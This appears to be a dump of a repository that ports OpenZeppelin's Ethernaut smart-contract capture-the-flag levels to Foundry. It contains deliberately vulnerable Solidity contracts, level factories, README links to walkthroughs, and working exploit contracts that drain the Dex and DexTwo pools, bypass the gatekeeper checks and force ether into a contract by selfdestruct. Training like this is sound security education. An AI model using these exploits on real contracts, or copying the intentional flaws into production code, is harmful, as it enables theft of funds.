**Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0xf1D573178225513eDAA795bE9206f7E311EeDEc3 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/@zuhaibmd/ethernaut-level-20-denial-9a1060a7b6b1 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract DenialTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Denial.png?raw=true) 20 | -------------------------------------------------------------------------------- /src/Dex/Dex.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; 5 | import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; 6 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; 7 | 8 | contract Dex { 9 | using SafeMath for uint; 10 | address public token1; 11 | address public token2; 12 | constructor(address _token1, address _token2) public { 13 | token1 = _token1; 14 | token2 = _token2; 15 | } 16 | 17 | function swap(address from, address to, uint amount) public { 18 | require((from == token1 && to == token2) || (from == token2 && to == token1), "Invalid tokens"); 19 | require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); 20 | uint swap_amount = get_swap_price(from, to, amount); 21 | IERC20(from).transferFrom(msg.sender, address(this), amount); 22 | IERC20(to).approve(address(this), swap_amount); 23 | IERC20(to).transferFrom(address(this), msg.sender, swap_amount); 24 | } 25 | 26 | function add_liquidity(address token_address, uint amount) public{ 27 | IERC20(token_address).transferFrom(msg.sender, address(this), amount); 28 | } 29 | 30 | function get_swap_price(address from, address to, uint amount) public view returns(uint){ 31 | return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); 32 | } 33 | 34 | function approve(address spender, uint amount) public { 35 | SwappableToken(token1).approve(spender, amount); 36 | SwappableToken(token2).approve(spender, amount); 37 | } 38 | 39 | function balanceOf(address token, address account) public view returns (uint){ 40 | return IERC20(token).balanceOf(account); 41 | } 42 | } 43 | 44 | contract SwappableToken is ERC20 { 45 | constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) { 46 | _mint(msg.sender, initialSupply); 47 | } 48 | } 49 | -------------------------------------------------------------------------------- /src/Dex/DexFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Dex.sol'; 7 | import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; 8 | 9 | 10 | contract DexFactory is Level { 11 | 12 | function createInstance(address _player) override public payable returns (address) { 13 | SwappableToken token_instance = new SwappableToken("Token 1", "TKN1", 110); 14 | SwappableToken token_instance_two = new SwappableToken("Token 2", "TKN2", 110); 15 | address token_instance_address = address(token_instance); 16 | address token_instance_two_address = address(token_instance_two); 17 | Dex instance = new Dex(token_instance_address, token_instance_two_address); 18 | 19 | token_instance.approve(address(instance), 100); 20 | token_instance_two.approve(address(instance), 100); 21 | instance.add_liquidity(address(token_instance), 100); 22 | instance.add_liquidity(address(token_instance_two), 100); 23 | token_instance.transfer(_player, 10); 24 | token_instance_two.transfer(_player, 10); 25 | return address(instance); 26 | } 27 | 28 | function validateInstance(address payable _instance, address) override public returns (bool) { 29 | address token1 = Dex(_instance).token1(); 30 | address token2 = Dex(_instance).token2(); 31 | return IERC20(token1).balanceOf(_instance) == 0 || ERC20(token2).balanceOf(_instance) == 0; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/Dex/DexHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | import "./Dex.sol"; 5 | 6 | contract DexHack { 7 | Dex dex; 8 | constructor(Dex _dex) { 9 | dex = _dex; 10 | } 11 | 12 | function attack() external { 13 | address[2] memory tokens = [dex.token1(), dex.token2()]; 14 | 15 | // approve the contract for all tokens 16 | SwappableToken(tokens[0]).approve(address(dex), type(uint256).max); 17 | SwappableToken(tokens[1]).approve(address(dex), type(uint256).max); 18 | 19 | uint[2] memory hackBalances; 20 | uint[2] memory dexBalances; 21 | uint fromIndex = 0; 22 | uint toIndex = 1; 23 | while(true){ 24 | hackBalances = [ SwappableToken(tokens[fromIndex]).balanceOf(address(this)), 25 | SwappableToken(tokens[ toIndex]).balanceOf(address(this))]; 26 | 27 | dexBalances = [SwappableToken(tokens[fromIndex]).balanceOf(address(dex)), 28 | SwappableToken(tokens[ toIndex]).balanceOf(address(dex))]; 29 | 30 | uint swapPrice = dex.get_swap_price(tokens[fromIndex], tokens[toIndex], hackBalances[0]); 31 | if(swapPrice > dexBalances[1]) { 32 | dex.swap(tokens[fromIndex], tokens[toIndex], dexBalances[0]); 33 | break; 34 | }else { 35 | dex.swap(tokens[fromIndex], tokens[toIndex], hackBalances[0]); 36 | } 37 | // reverse indexes 38 | fromIndex = 1 - fromIndex; 39 | toIndex = 1 - toIndex; 40 | } 41 | } 42 | } 43 | -------------------------------------------------------------------------------- /src/Dex/README.md: -------------------------------------------------------------------------------- 1 | # 8. Dex 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x0b0276F85EF92432fBd6529E169D9dE4aD337b1F 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/@this_post/ethernaut-22-dex-writeups-55d4bfa8a7fa 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract DexTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Dex.png?raw=true) 20 | -------------------------------------------------------------------------------- /src/DexTwo/DexTwo.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | import "openzeppelin-contracts/contracts/token/ERC20/IERC20.sol"; 5 | import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; 6 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; 7 | 8 | contract DexTwo { 9 | using SafeMath for uint; 10 | address public token1; 11 | address public token2; 12 | constructor(address _token1, address _token2) public { 13 | token1 = _token1; 14 | token2 = _token2; 15 | } 16 | 17 | function swap(address from, address to, uint amount) public { 18 | require(IERC20(from).balanceOf(msg.sender) >= amount, "Not enough to swap"); 19 | uint swap_amount = get_swap_amount(from, to, amount); 20 | IERC20(from).transferFrom(msg.sender, address(this), amount); 21 | IERC20(to).approve(address(this), swap_amount); 22 | IERC20(to).transferFrom(address(this), msg.sender, swap_amount); 23 | } 24 | 25 | function add_liquidity(address token_address, uint amount) public{ 26 | IERC20(token_address).transferFrom(msg.sender, address(this), amount); 27 | } 28 | 29 | function get_swap_amount(address from, address to, uint amount) public view returns(uint){ 30 | return((amount * IERC20(to).balanceOf(address(this)))/IERC20(from).balanceOf(address(this))); 31 | } 32 | 33 | function approve(address spender, uint amount) public { 34 | SwappableTokenTwo(token1).approve(spender, amount); 35 | SwappableTokenTwo(token2).approve(spender, amount); 36 | } 37 | 38 | function balanceOf(address token, address account) public view returns (uint){ 39 | return IERC20(token).balanceOf(account); 40 | } 41 | } 42 | 43 | contract SwappableTokenTwo is ERC20 { 44 | constructor(string memory name, string memory symbol, uint initialSupply) public ERC20(name, symbol) { 45 | _mint(msg.sender, initialSupply); 46 | } 47 | } 48 | -------------------------------------------------------------------------------- /src/DexTwo/DexTwoFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './DexTwo.sol'; 7 | import "openzeppelin-contracts/contracts/token/ERC20/ERC20.sol"; 8 | 9 | 10 | contract DexTwoFactory is Level { 11 | 12 | function createInstance(address _player) override public payable returns (address) { 13 | SwappableTokenTwo token_instance = new SwappableTokenTwo("Token 1", "TKN1", 110); 14 | SwappableTokenTwo token_instance_two = new SwappableTokenTwo("Token 2", "TKN2", 110); 15 | address token_instance_address = address(token_instance); 16 | address token_instance_two_address = address(token_instance_two); 17 | DexTwo instance = new DexTwo(token_instance_address, token_instance_two_address); 18 | 19 | token_instance.approve(address(instance), 100); 20 | token_instance_two.approve(address(instance), 100); 21 | instance.add_liquidity(address(token_instance), 100); 22 | instance.add_liquidity(address(token_instance_two), 100); 23 | token_instance.transfer(_player, 10); 24 | token_instance_two.transfer(_player, 10); 25 | return address(instance); 26 | } 27 | 28 | function validateInstance(address payable _instance, address) override public returns (bool) { 29 | address token1 = DexTwo(_instance).token1(); 30 | address token2 = DexTwo(_instance).token2(); 31 | return IERC20(token1).balanceOf(_instance) == 0 && ERC20(token2).balanceOf(_instance) == 0; 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /src/DexTwo/DexTwoHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | import "./DexTwo.sol"; 5 | 6 | contract DexTwoHack { 7 | DexTwo dexTwo; 8 | constructor(DexTwo _dexTwo) { 9 | dexTwo = _dexTwo; 10 | } 11 | 12 | function balanceOf(address) public view returns(uint balance){ 13 | balance = 1; 14 | } 15 | 16 | function transferFrom(address from, address to, uint amount) public returns(bool) { 17 | return true; 18 | } 19 | 20 | function attack() external { 21 | dexTwo.swap(address(this), dexTwo.token1(), 1); 22 | dexTwo.swap(address(this), dexTwo.token2(), 1); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /src/DexTwo/README.md: -------------------------------------------------------------------------------- 1 | # 8. DexTwo 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0xd2BA82c4777a8d619144d32a2314ee620BC9E09c 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/@this_post/ethernaut-22-dex-writeups-55d4bfa8a7fa 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract DexTwoTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/DexTwo.png?raw=true) 20 | -------------------------------------------------------------------------------- /src/Elevator/Elevator.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | interface Building { 6 | function isLastFloor(uint) external returns (bool); 7 | } 8 | 9 | 10 | contract Elevator { 11 | bool public top; 12 | uint public floor; 13 | 14 | function goTo(uint _floor) public { 15 | Building building = Building(msg.sender); 16 | 17 | if (! building.isLastFloor(_floor)) { 18 | floor = _floor; 19 | top = building.isLastFloor(floor); 20 | } 21 | } 22 | } -------------------------------------------------------------------------------- /src/Elevator/ElevatorFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Elevator.sol'; 7 | 8 | contract ElevatorFactory is Level { 9 | 10 | function createInstance(address _player) override public payable returns (address) { 11 | _player; 12 | Elevator instance = new Elevator(); 13 | return address(instance); 14 | } 15 | 16 | function validateInstance(address payable _instance, address) override public returns (bool) { 17 | Elevator elevator = Elevator(_instance); 18 | return elevator.top(); 19 | } 20 | 21 | } -------------------------------------------------------------------------------- /src/Elevator/ElevatorHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | interface IElevator { 6 | function goTo(uint256 _floor) external; 7 | } 8 | 9 | contract ElevatorHack { 10 | IElevator public challenge; 11 | uint256 timesCalled; 12 | 13 | constructor(address challengeAddress) { 14 | challenge = IElevator(challengeAddress); 15 | } 16 | 17 | function attack() external payable { 18 | challenge.goTo(0); 19 | } 20 | 21 | function isLastFloor(uint256 /* floor */) external returns (bool) { 22 | timesCalled++; 23 | if (timesCalled > 1) return true; 24 | else return false; 25 | } 26 | } -------------------------------------------------------------------------------- /src/Elevator/README.md: -------------------------------------------------------------------------------- 1 | # 11. Elevator 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0xaB4F3F2644060b2D960b0d88F0a42d1D27484687 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-11-elevator-walkthrough-how-to-abuse-solidity-interfaces-and-function-state-41005470121d 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract ElevatorTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Elevator.png?raw=true) -------------------------------------------------------------------------------- /src/Ethernaut.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import './BaseLevel.sol'; 6 | import 'openzeppelin-contracts/contracts/access/Ownable.sol'; 7 | 8 | contract Ethernaut is Ownable { 9 | 10 | // ---------------------------------- 11 | // Owner interaction 12 | // ---------------------------------- 13 | 14 | mapping(address => bool) registeredLevels; 15 | 16 | // Only registered levels will be allowed to generate and validate level instances. 17 | function registerLevel(Level _level) public onlyOwner { 18 | registeredLevels[address(_level)] = true; 19 | } 20 | 21 | // ---------------------------------- 22 | // Get/submit level instances 23 | // ---------------------------------- 24 | 25 | struct EmittedInstanceData { 26 | address player; 27 | Level level; 28 | bool completed; 29 | } 30 | 31 | mapping(address => EmittedInstanceData) emittedInstances; 32 | 33 | event LevelInstanceCreatedLog(address indexed player, address instance); 34 | event LevelCompletedLog(address indexed player, Level level); 35 | 36 | function createLevelInstance(Level _level) public payable returns (address) { 37 | 38 | // Ensure level is registered. 39 | require(registeredLevels[address(_level)]); 40 | 41 | // Get level factory to create an instance. 42 | address instance = _level.createInstance{value:msg.value}(msg.sender); 43 | 44 | // Store emitted instance relationship with player and level. 45 | emittedInstances[instance] = EmittedInstanceData(msg.sender, _level, false); 46 | 47 | // Retrieve created instance via logs. 48 | emit LevelInstanceCreatedLog(msg.sender, instance); 49 | 50 | return instance; // Return data - not possible to read emitted events via solidity 51 | } 52 | 53 | function submitLevelInstance(address payable _instance) public returns (bool) { 54 | 55 | // Get player and level. 56 | EmittedInstanceData storage data = emittedInstances[_instance]; 57 | require(data.player == msg.sender); // instance was emitted for this player 58 | require(data.completed == false); // not already submitted 59 | 60 | // Have the level check the instance. 61 | if(data.level.validateInstance(_instance, msg.sender)) { 62 | 63 | // Register instance as completed. 64 | data.completed = true; 65 | 66 | // Notify success via logs. 67 | emit LevelCompletedLog(msg.sender, data.level); 68 | 69 | return true; // Return data - not possible to read emitted events 70 | } 71 | 72 | return false; // Return data - not possible to read emitted events via solidity 73 | } 74 | } -------------------------------------------------------------------------------- /src/Fallback/Fallback.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; // Latest solidity version 3 | 4 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; // Path change of openzeppelin contract 5 | 6 | contract Fallback { 7 | 8 | using SafeMath for uint256; 9 | mapping(address => uint) public contributions; 10 | address payable public owner; 11 | 12 | constructor() public { 13 | owner = payable(msg.sender); // Type issues must be payable address 14 | contributions[msg.sender] = 1000 * (1 ether); 15 | } 16 | 17 | modifier onlyOwner { 18 | require( 19 | msg.sender == owner, 20 | "caller is not the owner" 21 | ); 22 | _; 23 | } 24 | 25 | function contribute() public payable { 26 | require(msg.value < 0.001 ether, "msg.value must be < 0.001"); // Add message with require 27 | contributions[msg.sender] += msg.value; 28 | if(contributions[msg.sender] > contributions[owner]) { 29 | owner = payable(msg.sender); // Type issues must be payable address 30 | } 31 | } 32 | 33 | function getContribution() public view returns (uint) { 34 | return contributions[msg.sender]; 35 | } 36 | 37 | function withdraw() public onlyOwner { 38 | owner.transfer(address(this).balance); 39 | } 40 | 41 | 42 | fallback() external payable { // naming has switched to fallback 43 | require(msg.value > 0 && contributions[msg.sender] > 0, "tx must have value and msg.send must have made a contribution"); // Add message with require 44 | owner = payable(msg.sender); // Type issues must be payable address 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /src/Fallback/FallbackFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Fallback.sol'; 7 | 8 | contract FallbackFactory is Level { 9 | 10 | function createInstance(address _player) override public payable returns (address) { 11 | _player; 12 | Fallback instance = new Fallback(); 13 | return address(instance); 14 | } 15 | 16 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 17 | Fallback instance = Fallback(_instance); 18 | return instance.owner() == _player && address(instance).balance == 0; 19 | } 20 | } -------------------------------------------------------------------------------- /src/Fallback/README.md: -------------------------------------------------------------------------------- 1 | # 1. Fallback 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x9CB391dbcD447E645D6Cb55dE6ca23164130D008 8 | 9 | ## Walkthrough 10 | 11 | https://hackernoon.com/ethernaut-lvl-1-walkthrough-how-to-abuse-the-fallback-function-118057b68b56 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract FallbackTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Fallback.png?raw=true) -------------------------------------------------------------------------------- /src/Fallout/Fallout.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; // Latest solidity version 3 | 4 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; // Path change of openzeppelin contract 5 | 6 | contract Fallout { 7 | 8 | using SafeMath for uint256; 9 | mapping (address => uint) allocations; 10 | address payable public owner; 11 | 12 | 13 | /* constructor */ 14 | function Fal1out() public payable { 15 | owner = payable(msg.sender); // Type issues must be payable address 16 | allocations[owner] = msg.value; 17 | } 18 | 19 | modifier onlyOwner { 20 | require( 21 | msg.sender == owner, 22 | "caller is not the owner" 23 | ); 24 | _; 25 | } 26 | 27 | function allocate() public payable { 28 | allocations[msg.sender] = allocations[msg.sender].add(msg.value); 29 | } 30 | 31 | function sendAllocation(address payable allocator) public { 32 | require(allocations[allocator] > 0); 33 | allocator.transfer(allocations[allocator]); 34 | } 35 | 36 | function collectAllocations() public onlyOwner { 37 | payable(msg.sender).transfer(address(this).balance); // Type issues must be payable address 38 | } 39 | 40 | function allocatorBalance(address allocator) public view returns (uint) { 41 | return allocations[allocator]; 42 | } 43 | } -------------------------------------------------------------------------------- /src/Fallout/FalloutFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Fallout.sol'; 7 | 8 | contract FalloutFactory is Level { 9 | 10 | function createInstance(address _player) override public payable returns (address) { 11 | _player; 12 | Fallout instance = new Fallout(); 13 | return address(instance); 14 | } 15 | 16 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 17 | Fallout instance = Fallout(_instance); 18 | return instance.owner() == _player; 19 | } 20 | } -------------------------------------------------------------------------------- /src/Fallout/README.md: -------------------------------------------------------------------------------- 1 | # 2. Fallout 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x5732B2F88cbd19B6f01E3a96e9f0D90B917281E5 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/@nicolezhu/ethernaut-lvl-2-walkthrough-how-simple-developer-errors-become-big-mistakes-b705ff00a62f 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract FalloutTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Fallout.png?raw=true) -------------------------------------------------------------------------------- /src/Force/Force.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | contract Force {/* 6 | 7 | MEOW ? 8 | /\_/\ / 9 | ____/ o o \ 10 | /~____ =ø= / 11 | (______)__m_m) 12 | 13 | */} -------------------------------------------------------------------------------- /src/Force/ForceFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './Force.sol'; 7 | 8 | contract ForceFactory is Level { 9 | 10 | function createInstance(address _player) override public payable returns (address) { 11 | _player; 12 | return address(new Force()); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 16 | _player; 17 | Force instance = Force(_instance); 18 | return address(instance).balance > 0; 19 | } 20 | } -------------------------------------------------------------------------------- /src/Force/ForceHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | contract ForceHack { 6 | constructor(address payable target) payable { 7 | require(msg.value > 0); 8 | selfdestruct(target); 9 | } 10 | } -------------------------------------------------------------------------------- /src/Force/README.md: -------------------------------------------------------------------------------- 1 | # 2. Force 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x22699e6AdD7159C3C385bf4d7e1C647ddB3a99ea 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-7-walkthrough-how-to-selfdestruct-and-create-an-ether-blackhole-eb5bb72d2c57 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract ForceTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/Force.png?raw=true) -------------------------------------------------------------------------------- /src/GatekeeperOne/GatekeeperOne.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; // Path change of openzeppelin contract 6 | 7 | contract GatekeeperOne { 8 | 9 | using SafeMath for uint256; 10 | address public entrant; 11 | 12 | modifier gateOne() { 13 | require(msg.sender != tx.origin); 14 | _; 15 | } 16 | 17 | modifier gateTwo() { 18 | require(gasleft().mod(8191) == 0); 19 | _; 20 | } 21 | 22 | modifier gateThree(bytes8 _gateKey) { 23 | require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one"); 24 | require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two"); 25 | require(uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), "GatekeeperOne: invalid gateThree part three"); 26 | _; 27 | } 28 | 29 | function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { 30 | entrant = tx.origin; 31 | return true; 32 | } 33 | } -------------------------------------------------------------------------------- /src/GatekeeperOne/GatekeeperOneFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import '../BaseLevel.sol'; 6 | import './GatekeeperOne.sol'; 7 | 8 | contract GatekeeperOneFactory is Level { 9 | 10 | function createInstance(address _player) override public payable returns (address) { 11 | _player; 12 | GatekeeperOne instance = new GatekeeperOne(); 13 | return address(instance); 14 | } 15 | 16 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 17 | GatekeeperOne instance = GatekeeperOne(_instance); 18 | return instance.entrant() == _player; 19 | } 20 | } -------------------------------------------------------------------------------- /src/GatekeeperOne/GatekeeperOneHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; // Path change of openzeppelin contract 6 | 7 | interface IGatekeeperOne { 8 | function enter(bytes8 _gateKey) external returns (bool); 9 | } 10 | 11 | contract GatekeeperOneHack { 12 | using SafeMath for uint256; 13 | IGatekeeperOne public challenge; 14 | 15 | constructor(address challengeAddress) { 16 | challenge = IGatekeeperOne(challengeAddress); 17 | } 18 | 19 | function attack(bytes8 gateKey, uint256 gasToUse) external payable { 20 | challenge.enter{gas: gasToUse}(gateKey); 21 | } 22 | 23 | modifier gateOne() { 24 | require(msg.sender != tx.origin); 25 | _; 26 | } 27 | 28 | modifier gateTwo() { 29 | require(gasleft().mod(8191) == 0); 30 | _; 31 | } 32 | 33 | modifier gateThree(bytes8 _gateKey) { 34 | require( 35 | uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), 36 | "GatekeeperOne: invalid gateThree part one" 37 | ); 38 | require( 39 | uint32(uint64(_gateKey)) != uint64(_gateKey), 40 | "GatekeeperOne: invalid gateThree part two" 41 | ); 42 | require( 43 | uint32(uint64(_gateKey)) == uint16(uint160(tx.origin)), 44 | "GatekeeperOne: invalid gateThree part three" 45 | ); 46 | _; 47 | } 48 | 49 | function testenter(bytes8 _gateKey) 50 | public 51 | // gateOne 52 | // gateTwo 53 | gateThree(_gateKey) 54 | returns (bool) 55 | { 56 | return true; 57 | } 58 | } -------------------------------------------------------------------------------- /src/GatekeeperOne/README.md: -------------------------------------------------------------------------------- 1 | # 13. GatekeeperOne 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0x9b261b23cE149422DE75907C6ac0C30cEc4e652A 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-13-gatekeeper-1-walkthrough-how-to-calculate-smart-contract-gas-consumption-and-eb4b042d3009 12 | 13 | ## Foundry 14 | 15 | ``` 16 | forge test --match-contract GatekeeperOneTest -vvvv 17 | ``` 18 | 19 | ![alt text](https://github.com/ciaranmcveigh5/ethernaut-x-foundry/blob/main/img/GatekeeperOne.png?raw=true) -------------------------------------------------------------------------------- /src/GatekeeperTwo/GatekeeperTwo.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | contract GatekeeperTwo { 5 | 6 | address public entrant; 7 | 8 | modifier gateOne() { 9 | require(msg.sender != tx.origin); 10 | _; 11 | } 12 | 13 | modifier gateTwo() { 14 | uint x; 15 | assembly { x := extcodesize(caller()) } 16 | require(x == 0); 17 | _; 18 | } 19 | 20 | modifier gateThree(bytes8 _gateKey) { 21 | unchecked { 22 | require(uint64(bytes8(keccak256(abi.encodePacked(msg.sender)))) ^ uint64(_gateKey) == uint64(0) - 1); 23 | } 24 | 25 | _; 26 | } 27 | 28 | function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) { 29 | entrant = tx.origin; 30 | return true; 31 | } 32 | } -------------------------------------------------------------------------------- /src/GatekeeperTwo/GatekeeperTwoFactory.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.10; 3 | 4 | import '../BaseLevel.sol'; 5 | import './GatekeeperTwo.sol'; 6 | 7 | contract GatekeeperTwoFactory is Level { 8 | 9 | function createInstance(address _player) override public payable returns (address) { 10 | _player; 11 | GatekeeperTwo instance = new GatekeeperTwo(); 12 | return address(instance); 13 | } 14 | 15 | function validateInstance(address payable _instance, address _player) override public returns (bool) { 16 | GatekeeperTwo instance = GatekeeperTwo(_instance); 17 | return instance.entrant() == _player; 18 | } 19 | } -------------------------------------------------------------------------------- /src/GatekeeperTwo/GatekeeperTwoHack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.10; 4 | 5 | import 'openzeppelin-contracts/contracts/utils/math/SafeMath.sol'; 6 | 7 | interface IGatekeeperTwo { 8 | function enter(bytes8 _gateKey) external returns (bool); 9 | } 10 | 11 | contract GatekeeperTwoHack { 12 | using SafeMath for uint256; 13 | IGatekeeperTwo public challenge; 14 | uint64 gateKey; 15 | 16 | constructor(address challengeAddress) { 17 | challenge = IGatekeeperTwo(challengeAddress); 18 | // must attack already in constructor because of extcodesize == 0 19 | // while the contract is being constructed 20 | unchecked { 21 | gateKey = uint64(bytes8(keccak256(abi.encodePacked(this)))) ^ (uint64(0) - 1); 22 | } 23 | 24 | challenge.enter(bytes8(gateKey)); 25 | } 26 | } -------------------------------------------------------------------------------- /src/GatekeeperTwo/README.md: -------------------------------------------------------------------------------- 1 | # 14. GatekeeperTwo 2 | 3 | **NOTE** - Some code has been slightly altered to work with newer versions of solidity and enable us to test the level with foundry. Any where this has been done an accompanying comment gives context for why this change was made. 4 | 5 | **Original Level** 6 | 7 | https://ethernaut.openzeppelin.com/level/0xdCeA38B2ce1768E1F409B6C65344E81F16bEc38d 8 | 9 | ## Walkthrough 10 | 11 | https://medium.com/coinmonks/ethernaut-lvl-14-gatekeeper-2-walkthrough-how-contracts-initialize-and-how-to-do-bitwise-ddac8ad4f0fd 12 | 13 | ## 